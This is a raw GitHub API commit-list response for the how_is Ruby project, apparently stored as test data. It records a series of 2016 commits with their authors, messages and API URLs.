ASCII-8BIT string: '[{"sha":"94879578c8b15ec46029632a230b0ce1091ecd6f","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6OTQ4Nzk1NzhjOGIxNWVjNDYwMjk2MzJhMjMwYjBjZTEwOTFlY2Q2Zg==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-05-20T22:28:18Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-05-20T22:28:18Z"},"message":"Beginning of specs.","tree":{"sha":"2981cb3007db8da87ca6d86e8e147b22d7458aa0","url":"https://api.github.com/repos/how-is/how_is/git/trees/2981cb3007db8da87ca6d86e8e147b22d7458aa0"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/94879578c8b15ec46029632a230b0ce1091ecd6f","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/94879578c8b15ec46029632a230b0ce1091ecd6f","html_url":"https://github.com/how-is/how_is/commit/94879578c8b15ec46029632a230b0ce1091ecd6f","comments_url":"https://api.github.com/repos/how-is/how_is/commits/94879578c8b15ec46029632a230b0ce1091ecd6f/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"c1572afc2fa0ca8418dfaee6fa1e87e94ffed73c","url":"https://api.github.com/repos/how-is/how_is/commits/c1572afc2fa0ca8418dfaee6fa1e87e94ffed73c","html_url":"https://github.com/how-is/how_is/commit/c1572afc2fa0ca8418dfaee6fa1e87e94ffed73c"}]},{"sha":"c1572afc2fa0ca8418dfaee6fa1e87e94ffed73c","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6YzE1NzJhZmMyZmEwY2E4NDE4ZGZhZWU2ZmExZTg3ZTk0ZmZlZDczYw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-04-26T21:55:35Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-04-26T21:55:35Z"},"message":"Very rough version of test data.","tree":{"sha":"2292734f9e055c4b95b28482a4ff44f3fa3e4199","url":"https://api.github.com/repos/how-is/how_is/git/trees/2292734f9e055c4b95b28482a4ff44f3fa3e4199"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/c1572afc2fa0ca8418dfaee6fa1e87e94ffed73c","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/c1572afc2fa0ca8418dfaee6fa1e87e94ffed73c","html_url":"https://github.com/how-is/how_is/commit/c1572afc2fa0ca8418dfaee6fa1e87e94ffed73c","comments_url":"https://api.github.com/repos/how-is/how_is/commits/c1572afc2fa0ca8418dfaee6fa1e87e94ffed73c/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"795ac06315d42c769041942037238b72a632b757","url":"https://api.github.com/repos/how-is/how_is/commits/795ac06315d42c769041942037238b72a632b757","html_url":"https://github.com/how-is/how_is/commit/795ac06315d42c769041942037238b72a632b757"}]},{"sha":"795ac06315d42c769041942037238b72a632b757","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6Nzk1YWMwNjMxNWQ0MmM3NjkwNDE5NDIwMzcyMzhiNzJhNjMyYjc1Nw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-04-26T21:00:16Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-04-26T21:00:16Z"},"message":"Make flags match documentation.","tree":{"sha":"4cab7d68d2240b5e58a827690d8b9e1b4d344021","url":"https://api.github.com/repos/how-is/how_is/git/trees/4cab7d68d2240b5e58a827690d8b9e1b4d344021"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/795ac06315d42c769041942037238b72a632b757","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/795ac06315d42c769041942037238b72a632b757","html_url":"https://github.com/how-is/how_is/commit/795ac06315d42c769041942037238b72a632b757","comments_url":"https://api.github.com/repos/how-is/how_is/commits/795ac06315d42c769041942037238b72a632b757/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"c9c144c13519466aa8a9893dceb871115a878c7c","url":"https://api.github.com/repos/how-is/how_is/commits/c9c144c13519466aa8a9893dceb871115a878c7c","html_url":"https://github.com/how-is/how_is/commit/c9c144c13519466aa8a9893dceb871115a878c7c"}]},{"sha":"c9c144c13519466aa8a9893dceb871115a878c7c","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6YzljMTQ0YzEzNTE5NDY2YWE4YTk4OTNkY2ViODcxMTE1YTg3OGM3Yw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-04-26T20:59:03Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-04-26T20:59:03Z"},"message":"Dependency injection. <3","tree":{"sha":"998a3e86929ee46649dbb72c8af9a12d1230cdc5","url":"https://api.github.com/repos/how-is/how_is/git/trees/998a3e86929ee46649dbb72c8af9a12d1230cdc5"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/c9c144c13519466aa8a9893dceb871115a878c7c","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/c9c144c13519466aa8a9893dceb871115a878c7c","html_url":"https://github.com/how-is/how_is/commit/c9c144c13519466aa8a9893dceb871115a878c7c","comments_url":"https://api.github.com/repos/how-is/how_is/commits/c9c144c13519466aa8a9893dceb871115a878c7c/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"547bb09631c17704296cf6e30a7e34d9febe442b","url":"https://api.github.com/repos/how-is/how_is/commits/547bb09631c17704296cf6e30a7e34d9febe442b","html_url":"https://github.com/how-is/how_is/commit/547bb09631c17704296cf6e30a7e34d9febe442b"}]},{"sha":"547bb09631c17704296cf6e30a7e34d9febe442b","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NTQ3YmIwOTYzMWMxNzcwNDI5NmNmNmUzMGE3ZTM0ZDlmZWJlNDQyYg==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-03-27T00:05:53Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-03-27T00:05:53Z"},"message":"Update README.md","tree":{"sha":"498b41c0a4e75bc44e221d841f1aa3ff572738d6","url":"https://api.github.com/repos/how-is/how_is/git/trees/498b41c0a4e75bc44e221d841f1aa3ff572738d6"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/547bb09631c17704296cf6e30a7e34d9febe442b","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/547bb09631c17704296cf6e30a7e34d9febe442b","html_url":"https://github.com/how-is/how_is/commit/547bb09631c17704296cf6e30a7e34d9febe442b","comments_url":"https://api.github.com/repos/how-is/how_is/commits/547bb09631c17704296cf6e30a7e34d9febe442b/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"d727c3a0c8362dc496168e3c4260e03446cd6b97","url":"https://api.github.com/repos/how-is/how_is/commits/d727c3a0c8362dc496168e3c4260e03446cd6b97","html_url":"https://github.com/how-is/how_is/commit/d727c3a0c8362dc496168e3c4260e03446cd6b97"}]},{"sha":"d727c3a0c8362dc496168e3c4260e03446cd6b97","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZDcyN2MzYTBjODM2MmRjNDk2MTY4ZTNjNDI2MGUwMzQ0NmNkNmI5Nw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-03-23T20:27:42Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-03-23T20:27:42Z"},"message":"Convert issues and PRs to arrays of hashes.","tree":{"sha":"9304ad52aa6d53a59342915fd634ab0d71b6bc49","url":"https://api.github.com/repos/how-is/how_is/git/trees/9304ad52aa6d53a59342915fd634ab0d71b6bc49"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/d727c3a0c8362dc496168e3c4260e03446cd6b97","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/d727c3a0c8362dc496168e3c4260e03446cd6b97","html_url":"https://github.com/how-is/how_is/commit/d727c3a0c8362dc496168e3c4260e03446cd6b97","comments_url":"https://api.github.com/repos/how-is/how_is/commits/d727c3a0c8362dc496168e3c4260e03446cd6b97/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"f06bfab77115018869a5c52431099ae5665cedf3","url":"https://api.github.com/repos/how-is/how_is/commits/f06bfab77115018869a5c52431099ae5665cedf3","html_url":"https://github.com/how-is/how_is/commit/f06bfab77115018869a5c52431099ae5665cedf3"}]},{"sha":"f06bfab77115018869a5c52431099ae5665cedf3","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZjA2YmZhYjc3MTE1MDE4ODY5YTVjNTI0MzEwOTlhZTU2NjVjZWRmMw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-03-23T18:29:29Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-03-23T18:29:29Z"},"message":"Update gemspec.","tree":{"sha":"f7d4168c2fe08fafd3684003a750007c18425296","url":"https://api.github.com/repos/how-is/how_is/git/trees/f7d4168c2fe08fafd3684003a750007c18425296"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/f06bfab77115018869a5c52431099ae5665cedf3","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/f06bfab77115018869a5c52431099ae5665cedf3","html_url":"https://github.com/how-is/how_is/commit/f06bfab77115018869a5c52431099ae5665cedf3","comments_url":"https://api.github.com/repos/how-is/how_is/commits/f06bfab77115018869a5c52431099ae5665cedf3/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"e6e7669c821b34b9c33ed1a2983c5de50d042299","url":"https://api.github.com/repos/how-is/how_is/commits/e6e7669c821b34b9c33ed1a2983c5de50d042299","html_url":"https://github.com/how-is/how_is/commit/e6e7669c821b34b9c33ed1a2983c5de50d042299"}]},{"sha":"e6e7669c821b34b9c33ed1a2983c5de50d042299","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZTZlNzY2OWM4MjFiMzRiOWMzM2VkMWEyOTgzYzVkZTUwZDA0MjI5OQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-03-23T18:28:36Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-03-23T18:28:36Z"},"message":"Update gemspec.","tree":{"sha":"8cd8aa2b72863432f979253fe0d2c5cbe7c09956","url":"https://api.github.com/repos/how-is/how_is/git/trees/8cd8aa2b72863432f979253fe0d2c5cbe7c09956"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/e6e7669c821b34b9c33ed1a2983c5de50d042299","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/e6e7669c821b34b9c33ed1a2983c5de50d042299","html_url":"https://github.com/how-is/how_is/commit/e6e7669c821b34b9c33ed1a2983c5de50d042299","comments_url":"https://api.github.com/repos/how-is/how_is/commits/e6e7669c821b34b9c33ed1a2983c5de50d042299/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"6b22fd98b9e66e0c29d15515a0c7fd591e474244","url":"https://api.github.com/repos/how-is/how_is/commits/6b22fd98b9e66e0c29d15515a0c7fd591e474244","html_url":"https://github.com/how-is/how_is/commit/6b22fd98b9e66e0c29d15515a0c7fd591e474244"}]},{"sha":"6b22fd98b9e66e0c29d15515a0c7fd591e474244","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NmIyMmZkOThiOWU2NmUwYzI5ZDE1NTE1YTBjN2ZkNTkxZTQ3NDI0NA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-03-20T07:04:07Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-03-20T07:04:07Z"},"message":"Update README.md.","tree":{"sha":"ac3e860b726904a7fd86a596323ee61edaa75e3c","url":"https://api.github.com/repos/how-is/how_is/git/trees/ac3e860b726904a7fd86a596323ee61edaa75e3c"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/6b22fd98b9e66e0c29d15515a0c7fd591e474244","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/6b22fd98b9e66e0c29d15515a0c7fd591e474244","html_url":"https://github.com/how-is/how_is/commit/6b22fd98b9e66e0c29d15515a0c7fd591e474244","comments_url":"https://api.github.com/repos/how-is/how_is/commits/6b22fd98b9e66e0c29d15515a0c7fd591e474244/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"0cf6c534b17418e69f5df891404d03a9a358738e","url":"https://api.github.com/repos/how-is/how_is/commits/0cf6c534b17418e69f5df891404d03a9a358738e","html_url":"https://github.com/how-is/how_is/commit/0cf6c534b17418e69f5df891404d03a9a358738e"}]},{"sha":"0cf6c534b17418e69f5df891404d03a9a358738e","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MGNmNmM1MzRiMTc0MThlNjlmNWRmODkxNDA0ZDAzYTlhMzU4NzM4ZQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-03-20T06:59:01Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-03-20T06:59:01Z"},"message":"Update README.md.","tree":{"sha":"74dc45aaeb0e3efca69f974e5e56500fa9f6a682","url":"https://api.github.com/repos/how-is/how_is/git/trees/74dc45aaeb0e3efca69f974e5e56500fa9f6a682"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/0cf6c534b17418e69f5df891404d03a9a358738e","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/0cf6c534b17418e69f5df891404d03a9a358738e","html_url":"https://github.com/how-is/how_is/commit/0cf6c534b17418e69f5df891404d03a9a358738e","comments_url":"https://api.github.com/repos/how-is/how_is/commits/0cf6c534b17418e69f5df891404d03a9a358738e/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"9bf868afda1d6078e100bf9aee693c4cd212be34","url":"https://api.github.com/repos/how-is/how_is/commits/9bf868afda1d6078e100bf9aee693c4cd212be34","html_url":"https://github.com/how-is/how_is/commit/9bf868afda1d6078e100bf9aee693c4cd212be34"}]},{"sha":"9bf868afda1d6078e100bf9aee693c4cd212be34","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6OWJmODY4YWZkYTFkNjA3OGUxMDBiZjlhZWU2OTNjNGNkMjEyYmUzNA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-03-20T06:57:16Z"},"committer":{"name":"Ellen Marie 